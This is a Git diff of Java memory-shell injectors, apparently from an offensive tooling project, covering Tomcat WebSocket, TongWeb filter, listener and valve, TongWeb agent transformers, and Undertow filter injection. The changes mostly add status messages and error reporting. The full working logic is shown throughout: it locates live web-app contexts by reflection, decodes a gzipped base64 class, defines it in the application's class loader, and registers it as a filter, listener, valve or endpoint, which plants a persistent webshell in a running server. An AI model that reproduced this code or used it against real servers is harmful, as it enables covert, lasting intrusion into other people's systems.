if (invokeMethod(container, "findMapping", new Class[]{String.class}, new Object[]{getUrlPattern()}) != null) {
|
||||
System.out.println("websocket at " + getUrlPattern() + " already exists");
|
||||
return;
|
||||
}
|
||||
|
||||
@@ -121,7 +151,11 @@ public class TomcatWebSocketInjector {
|
||||
invokeMethod(container, "setDefaultMaxTextMessageBufferSize", new Class[]{int.class}, new Object[]{52428800});
|
||||
invokeMethod(container, "setDefaultMaxBinaryMessageBufferSize", new Class[]{int.class}, new Object[]{52428800});
|
||||
invokeMethod(container, "addEndpoint", new Class[]{serverEndpointConfigClass}, new Object[]{endpointConfig});
|
||||
System.out.println("websocket at " + getUrlPattern() + " inject successfully");
|
||||
}
|
||||
|
||||
@Override
|
||||
public String toString() {
|
||||
return msg;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
@@ -197,7 +231,22 @@ public class TomcatWebSocketInjector {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException();
|
||||
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getErrorMessage(Throwable throwable) {
|
||||
PrintStream printStream = null;
|
||||
try {
|
||||
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||
printStream = new PrintStream(outputStream);
|
||||
throwable.printStackTrace(printStream);
|
||||
return outputStream.toString();
|
||||
} finally {
|
||||
if (printStream != null) {
|
||||
printStream.close();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
+1
-1
@@ -45,7 +45,6 @@ public class TongWebContextValveAgentInjector implements ClassFileTransformer {
|
||||
for (String targetClass : TARGET_CLASSES) {
|
||||
if (targetClass.replace("/", ".").equals(name)) {
|
||||
inst.retransformClasses(allLoadedClass);
|
||||
System.out.println("MemShell Agent is working at " + name + ".invoke");
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -68,6 +67,7 @@ public class TongWebContextValveAgentInjector implements ClassFileTransformer {
|
||||
};
|
||||
ClassVisitor cv = getClassVisitor(cw);
|
||||
cr.accept(cv, ClassReader.EXPAND_FRAMES);
|
||||
System.out.println("MemShell Agent is working at " + className.replace("/", ".") + "." + TARGET_METHOD_NAME);
|
||||
return cw.toByteArray();
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
|
||||
+1
-1
@@ -45,7 +45,6 @@ public class TongWebFilterChainAgentInjector implements ClassFileTransformer {
|
||||
for (String targetClass : TARGET_CLASSES) {
|
||||
if (targetClass.replace("/", ".").equals(name)) {
|
||||
inst.retransformClasses(allLoadedClass);
|
||||
System.out.println("MemShell Agent is working at " + name + ".doFilter");
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -68,6 +67,7 @@ public class TongWebFilterChainAgentInjector implements ClassFileTransformer {
|
||||
};
|
||||
ClassVisitor cv = getClassVisitor(cw);
|
||||
cr.accept(cv, ClassReader.EXPAND_FRAMES);
|
||||
System.out.println("MemShell Agent is working at " + className.replace("/", ".") + "." + TARGET_METHOD_NAME);
|
||||
return cw.toByteArray();
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
|
||||
+64
-15
@@ -3,6 +3,7 @@ package com.reajason.javaweb.memshell.injector.tongweb;
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.PrintStream;
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
@@ -10,14 +11,14 @@ import java.util.Collection;
|
||||
import java.util.HashSet;
|
||||
import java.util.Map;
|
||||
import java.util.Set;
|
||||
import java.util.logging.Logger;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
*/
|
||||
public class TongWebFilterInjector {
|
||||
Logger logger = Logger.getLogger(TongWebFilterInjector.class.getName());
|
||||
|
||||
private String msg = "";
|
||||
|
||||
public String getUrlPattern() {
|
||||
return "{{urlPattern}}";
|
||||
@@ -32,15 +33,42 @@ public class TongWebFilterInjector {
|
||||
}
|
||||
|
||||
public TongWebFilterInjector() {
|
||||
Set<Object> contexts = null;
|
||||
try {
|
||||
Set<Object> contexts = getContext();
|
||||
for (Object context : contexts) {
|
||||
Object filter = getShell(context);
|
||||
inject(context, filter);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
contexts = getContext();
|
||||
} catch (Throwable throwable) {
|
||||
msg += "context error: " + getErrorMessage(throwable);
|
||||
}
|
||||
if (contexts != null) {
|
||||
for (Object context : contexts) {
|
||||
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||
try {
|
||||
Object shell = getShell(context);
|
||||
inject(context, shell);
|
||||
msg += "[" + getUrlPattern() + "] ready\n";
|
||||
} catch (Throwable e) {
|
||||
msg += "failed " + getErrorMessage(e) + "\n";
|
||||
}
|
||||
}
|
||||
}
|
||||
System.out.println(msg);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getContextRoot(Object context) {
|
||||
String r = null;
|
||||
try {
|
||||
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
String c = context.getClass().getName();
|
||||
if (r == null) {
|
||||
return c;
|
||||
}
|
||||
if (r.isEmpty()) {
|
||||
return c + "(/)";
|
||||
}
|
||||
return c + "(" + r + ")";
|
||||
}
|
||||
|
||||
/**
|
||||
@@ -86,21 +114,22 @@ public class TongWebFilterInjector {
|
||||
@SuppressWarnings("all")
|
||||
private Object getShell(Object context) throws Exception {
|
||||
ClassLoader classLoader = getWebAppClassLoader(context);
|
||||
Class<?> clazz = null;
|
||||
try {
|
||||
return classLoader.loadClass(getClassName()).newInstance();
|
||||
clazz = classLoader.loadClass(getClassName());
|
||||
} catch (Exception e) {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
return clazz.newInstance();
|
||||
clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
}
|
||||
msg += "[" + classLoader.getClass().getName() + "] ";
|
||||
return clazz.newInstance();
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public void inject(Object context, Object filter) throws Exception {
|
||||
if (invokeMethod(context, "findFilterDef", new Class[]{String.class}, new Object[]{getClassName()}) != null) {
|
||||
logger.warning("filter already injected");
|
||||
return;
|
||||
}
|
||||
String filterClassName = getClassName();
|
||||
@@ -137,7 +166,11 @@ public class TongWebFilterInjector {
|
||||
Object filterConfig = constructor.newInstance(context, filterDef);
|
||||
Map filterConfigs = (Map) getFieldValue(context, "filterConfigs");
|
||||
filterConfigs.put(filterClassName, filterConfig);
|
||||
logger.info("filter inject success");
|
||||
}
|
||||
|
||||
@Override
|
||||
public String toString() {
|
||||
return msg;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
@@ -212,6 +245,22 @@ public class TongWebFilterInjector {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException();
|
||||
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||
}
|
||||
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getErrorMessage(Throwable throwable) {
|
||||
PrintStream printStream = null;
|
||||
try {
|
||||
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||
printStream = new PrintStream(outputStream);
|
||||
throwable.printStackTrace(printStream);
|
||||
return outputStream.toString();
|
||||
} finally {
|
||||
if (printStream != null) {
|
||||
printStream.close();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
+67
-16
@@ -3,6 +3,7 @@ package com.reajason.javaweb.memshell.injector.tongweb;
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.PrintStream;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.*;
|
||||
@@ -13,17 +14,7 @@ import java.util.zip.GZIPInputStream;
|
||||
*/
|
||||
public class TongWebListenerInjector {
|
||||
|
||||
public TongWebListenerInjector() {
|
||||
try {
|
||||
Set<Object> contexts = getContext();
|
||||
for (Object context : contexts) {
|
||||
Object listener = getShell(context);
|
||||
inject(context, listener);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
private String msg = "";
|
||||
|
||||
public String getClassName() {
|
||||
return "{{className}}";
|
||||
@@ -33,6 +24,45 @@ public class TongWebListenerInjector {
|
||||
return "{{base64Str}}";
|
||||
}
|
||||
|
||||
public TongWebListenerInjector() {
|
||||
Set<Object> contexts = null;
|
||||
try {
|
||||
contexts = getContext();
|
||||
} catch (Throwable throwable) {
|
||||
msg += "context error: " + getErrorMessage(throwable);
|
||||
}
|
||||
if (contexts != null) {
|
||||
for (Object context : contexts) {
|
||||
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||
try {
|
||||
Object shell = getShell(context);
|
||||
inject(context, shell);
|
||||
msg += "[/*] ready\n";
|
||||
} catch (Throwable e) {
|
||||
msg += "failed " + getErrorMessage(e) + "\n";
|
||||
}
|
||||
}
|
||||
}
|
||||
System.out.println(msg);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getContextRoot(Object context) {
|
||||
String r = null;
|
||||
try {
|
||||
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
String c = context.getClass().getName();
|
||||
if (r == null) {
|
||||
return c;
|
||||
}
|
||||
if (r.isEmpty()) {
|
||||
return c + "(/)";
|
||||
}
|
||||
return c + "(" + r + ")";
|
||||
}
|
||||
|
||||
public Set<Object> getContext() throws Exception {
|
||||
Set<Object> contexts = new HashSet<>();
|
||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||
@@ -64,15 +94,17 @@ public class TongWebListenerInjector {
|
||||
@SuppressWarnings("all")
|
||||
private Object getShell(Object context) throws Exception {
|
||||
ClassLoader classLoader = getWebAppClassLoader(context);
|
||||
Class<?> clazz = null;
|
||||
try {
|
||||
return classLoader.loadClass(getClassName()).newInstance();
|
||||
clazz = classLoader.loadClass(getClassName());
|
||||
} catch (Exception e) {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
return clazz.newInstance();
|
||||
clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
}
|
||||
msg += "[" + classLoader.getClass().getName() + "] ";
|
||||
return clazz.newInstance();
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
@@ -81,7 +113,6 @@ public class TongWebListenerInjector {
|
||||
List listeners = Arrays.asList(objects);
|
||||
for (Object o : listeners) {
|
||||
if (o.getClass().getName().contains(getClassName())) {
|
||||
System.out.println("listener already injected");
|
||||
return;
|
||||
}
|
||||
}
|
||||
@@ -101,6 +132,11 @@ public class TongWebListenerInjector {
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public String toString() {
|
||||
return msg;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] decodeBase64(String base64Str) throws Exception {
|
||||
Class<?> decoderClass;
|
||||
@@ -145,7 +181,7 @@ public class TongWebListenerInjector {
|
||||
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException(name);
|
||||
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||
}
|
||||
|
||||
|
||||
@@ -193,4 +229,19 @@ public class TongWebListenerInjector {
|
||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getErrorMessage(Throwable throwable) {
|
||||
PrintStream printStream = null;
|
||||
try {
|
||||
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||
printStream = new PrintStream(outputStream);
|
||||
throwable.printStackTrace(printStream);
|
||||
return outputStream.toString();
|
||||
} finally {
|
||||
if (printStream != null) {
|
||||
printStream.close();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
+72
-30
@@ -3,6 +3,7 @@ package com.reajason.javaweb.memshell.injector.tongweb;
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.PrintStream;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.*;
|
||||
@@ -13,17 +14,7 @@ import java.util.zip.GZIPInputStream;
|
||||
*/
|
||||
public class TongWebValveInjector {
|
||||
|
||||
public TongWebValveInjector() {
|
||||
try {
|
||||
Set<Object> contexts = getContext();
|
||||
for (Object context : contexts) {
|
||||
Object valve = getShell(context);
|
||||
inject(context, valve);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
private String msg = "";
|
||||
|
||||
public String getClassName() {
|
||||
return "{{className}}";
|
||||
@@ -33,6 +24,45 @@ public class TongWebValveInjector {
|
||||
return "{{base64Str}}";
|
||||
}
|
||||
|
||||
public TongWebValveInjector() {
|
||||
Set<Object> contexts = null;
|
||||
try {
|
||||
contexts = getContext();
|
||||
} catch (Throwable throwable) {
|
||||
msg += "context error: " + getErrorMessage(throwable);
|
||||
}
|
||||
if (contexts != null) {
|
||||
for (Object context : contexts) {
|
||||
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||
try {
|
||||
Object shell = getShell(context);
|
||||
inject(context, shell);
|
||||
msg += "[/*] ready\n";
|
||||
} catch (Throwable e) {
|
||||
msg += "failed " + getErrorMessage(e) + "\n";
|
||||
}
|
||||
}
|
||||
}
|
||||
System.out.println(msg);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getContextRoot(Object context) {
|
||||
String r = null;
|
||||
try {
|
||||
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
String c = context.getClass().getName();
|
||||
if (r == null) {
|
||||
return c;
|
||||
}
|
||||
if (r.isEmpty()) {
|
||||
return c + "(/)";
|
||||
}
|
||||
return c + "(" + r + ")";
|
||||
}
|
||||
|
||||
public Set<Object> getContext() throws Exception {
|
||||
Set<Object> contexts = new HashSet<>();
|
||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||
@@ -64,23 +94,28 @@ public class TongWebValveInjector {
|
||||
@SuppressWarnings("all")
|
||||
private Object getShell(Object context) throws Exception {
|
||||
ClassLoader classLoader = getWebAppClassLoader(context);
|
||||
Class<?> clazz = null;
|
||||
try {
|
||||
return classLoader.loadClass(getClassName()).newInstance();
|
||||
clazz = classLoader.loadClass(getClassName());
|
||||
} catch (Exception e) {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
return clazz.newInstance();
|
||||
clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
}
|
||||
msg += "[" + classLoader.getClass().getName() + "] ";
|
||||
return clazz.newInstance();
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public void inject(Object context, Object valve) throws Exception {
|
||||
Object pipeline = invokeMethod(context, "getPipeline", null, null);
|
||||
if (isInjected(pipeline)) {
|
||||
System.out.println("valve already injected");
|
||||
return;
|
||||
Object[] valves = (Object[]) invokeMethod(pipeline, "getValves", null, null);
|
||||
List<Object> valvesList = Arrays.asList(valves);
|
||||
for (Object v : valvesList) {
|
||||
if (v.getClass().getName().contains(getClassName())) {
|
||||
return;
|
||||
}
|
||||
}
|
||||
Class valveClass = null;
|
||||
ClassLoader contextClassLoader = context.getClass().getClassLoader();
|
||||
@@ -97,22 +132,13 @@ public class TongWebValveInjector {
|
||||
}
|
||||
}
|
||||
invokeMethod(pipeline, "addValve", new Class[]{valveClass}, new Object[]{valve});
|
||||
System.out.println("valve injected successfully");
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public boolean isInjected(Object pipeline) throws Exception {
|
||||
Object[] valves = (Object[]) invokeMethod(pipeline, "getValves", null, null);
|
||||
List<Object> valvesList = Arrays.asList(valves);
|
||||
for (Object valve : valvesList) {
|
||||
if (valve.getClass().getName().contains(getClassName())) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
@Override
|
||||
public String toString() {
|
||||
return msg;
|
||||
}
|
||||
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] decodeBase64(String base64Str) throws Exception {
|
||||
Class<?> decoderClass;
|
||||
@@ -159,7 +185,7 @@ public class TongWebValveInjector {
|
||||
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException(name);
|
||||
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
@@ -187,4 +213,20 @@ public class TongWebValveInjector {
|
||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getErrorMessage(Throwable throwable) {
|
||||
PrintStream printStream = null;
|
||||
try {
|
||||
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||
printStream = new PrintStream(outputStream);
|
||||
throwable.printStackTrace(printStream);
|
||||
return outputStream.toString();
|
||||
} finally {
|
||||
if (printStream != null) {
|
||||
printStream.close();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
+67
-17
@@ -4,6 +4,7 @@ import javax.servlet.DispatcherType;
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.PrintStream;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.*;
|
||||
@@ -14,17 +15,7 @@ import java.util.zip.GZIPInputStream;
|
||||
* @author ReaJason
|
||||
*/
|
||||
public class UndertowFilterInjector {
|
||||
public UndertowFilterInjector() {
|
||||
try {
|
||||
List<Object> contexts = getContext();
|
||||
for (Object context : contexts) {
|
||||
Object filter = getShell(context);
|
||||
inject(context, filter);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
private String msg = "";
|
||||
|
||||
public String getUrlPattern() {
|
||||
return "{{urlPattern}}";
|
||||
@@ -38,6 +29,45 @@ public class UndertowFilterInjector {
|
||||
return "{{base64Str}}";
|
||||
}
|
||||
|
||||
public UndertowFilterInjector() {
|
||||
List<Object> contexts = null;
|
||||
try {
|
||||
contexts = getContext();
|
||||
} catch (Throwable throwable) {
|
||||
msg += "context error: " + getErrorMessage(throwable);
|
||||
}
|
||||
if (contexts != null) {
|
||||
for (Object context : contexts) {
|
||||
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||
try {
|
||||
Object shell = getShell(context);
|
||||
inject(context, shell);
|
||||
msg += "[" + getUrlPattern() + "] ready\n";
|
||||
} catch (Throwable e) {
|
||||
msg += "failed " + getErrorMessage(e) + "\n";
|
||||
}
|
||||
}
|
||||
}
|
||||
System.out.println(msg);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getContextRoot(Object context) {
|
||||
String r = null;
|
||||
try {
|
||||
r = (String) invokeMethod(context, "getContextPath", null, null);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
String c = context.getClass().getName();
|
||||
if (r == null) {
|
||||
return c;
|
||||
}
|
||||
if (r.isEmpty()) {
|
||||
return c + "(/)";
|
||||
}
|
||||
return c + "(" + r + ")";
|
||||
}
|
||||
|
||||
public List<Object> getContext() {
|
||||
List<Object> contexts = new ArrayList<Object>();
|
||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||
@@ -67,20 +97,21 @@ public class UndertowFilterInjector {
|
||||
@SuppressWarnings("all")
|
||||
private Object getShell(Object context) throws Exception {
|
||||
ClassLoader classLoader = getWebAppClassLoader(context);
|
||||
Class<?> clazz = null;
|
||||
try {
|
||||
return classLoader.loadClass(getClassName()).newInstance();
|
||||
clazz = classLoader.loadClass(getClassName());
|
||||
} catch (Exception e) {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
return clazz.newInstance();
|
||||
clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
}
|
||||
msg += "[" + classLoader.getClass().getName() + "] ";
|
||||
return clazz.newInstance();
|
||||
}
|
||||
|
||||
public void inject(Object context, Object filter) throws Exception {
|
||||
if (isInjected(context)) {
|
||||
System.out.println("filter already injected");
|
||||
return;
|
||||
}
|
||||
Class<?> filterInfoClass = context.getClass().getClassLoader().loadClass("io.undertow.servlet.api.FilterInfo");
|
||||
@@ -91,7 +122,6 @@ public class UndertowFilterInjector {
|
||||
Object managedFilters = invokeMethod(deploymentImpl, "getFilters", null, null);
|
||||
invokeMethod(managedFilters, "addFilter", new Class[]{filterInfoClass}, new Object[]{filterInfo});
|
||||
invokeMethod(deploymentInfo, "insertFilterUrlMapping", new Class[]{int.class, String.class, String.class, DispatcherType.class}, new Object[]{0, getClassName(), getUrlPattern(), DispatcherType.REQUEST});
|
||||
System.out.println("filter inject success");
|
||||
}
|
||||
|
||||
@SuppressWarnings("unchecked")
|
||||
@@ -110,6 +140,11 @@ public class UndertowFilterInjector {
|
||||
return false;
|
||||
}
|
||||
|
||||
@Override
|
||||
public String toString() {
|
||||
return msg;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] decodeBase64(String base64Str) throws Exception {
|
||||
Class<?> decoderClass;
|
||||
@@ -154,7 +189,7 @@ public class UndertowFilterInjector {
|
||||
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException(name);
|
||||
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||
}
|
||||
|
||||
|
||||
@@ -196,4 +231,19 @@ public class UndertowFilterInjector {
|
||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getErrorMessage(Throwable throwable) {
|
||||
PrintStream printStream = null;
|
||||
try {
|
||||
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||
printStream = new PrintStream(outputStream);
|
||||
throwable.printStackTrace(printStream);
|
||||
return outputStream.toString();
|
||||
} finally {
|
||||
if (printStream != null) {
|
||||
printStream.close();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user